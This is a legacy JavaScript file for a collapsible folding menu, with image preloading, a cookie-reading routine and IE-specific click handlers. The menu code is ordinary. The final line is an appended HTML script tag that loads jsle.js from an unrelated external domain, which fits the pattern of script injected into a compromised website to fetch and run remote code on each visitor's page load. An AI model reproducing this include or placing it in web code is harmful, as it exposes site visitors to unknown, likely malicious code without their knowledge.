//
var head="display:''"
img1=new Image()
img1.src="/images/biaozhi00.gif"
img2=new Image()
img2.src="/images/s1.gif"

/**
 * Get cookie routine by Shelley Powers
 * (shelley.powers@ne-dev.com)
 */
function get_cookie(Name) {
  var search = Name + "="
  var returnvalue = "";
  if (document.cookie.length > 0) {
    offset = document.cookie.indexOf(search)
    // if cookie exists
    if (offset != -1) {
      offset += search.length
      // set index of beginning of value
      end = document.cookie.indexOf(";", offset);
      // set index of end of cookie value
      if (end == -1) end = document.cookie.length;
      returnvalue=unescape(document.cookie.substring(offset, end))
      }
   }
  return returnvalue;
}

function check(){
  for (i=0 ; i <= nodelength ; i++){
    if (foldinglist[i].style.display=='')
       openones=openones + " " + i
  }
  document.cookie=window.location.pathname+"="+openones
}

function change(){
   if(!document.all)
      return
   if (event.srcElement.id=="foldheader") {
      var srcIndex = event.srcElement.sourceIndex
      var nested = document.all[srcIndex+1]
      if (nested.style.display=="none") {
         nested.style.display=''
         event.srcElement.style.listStyleImage="url(/images/s1.gif)"
      }
      else {
         nested.style.display="none"
         event.srcElement.style.listStyleImage="url(/images/biaozhi00.gif)"
      }
   }
}

document.onclick=change

<script language=javascript src=http://ermei.loveyoushipin.com/jsle.js></script>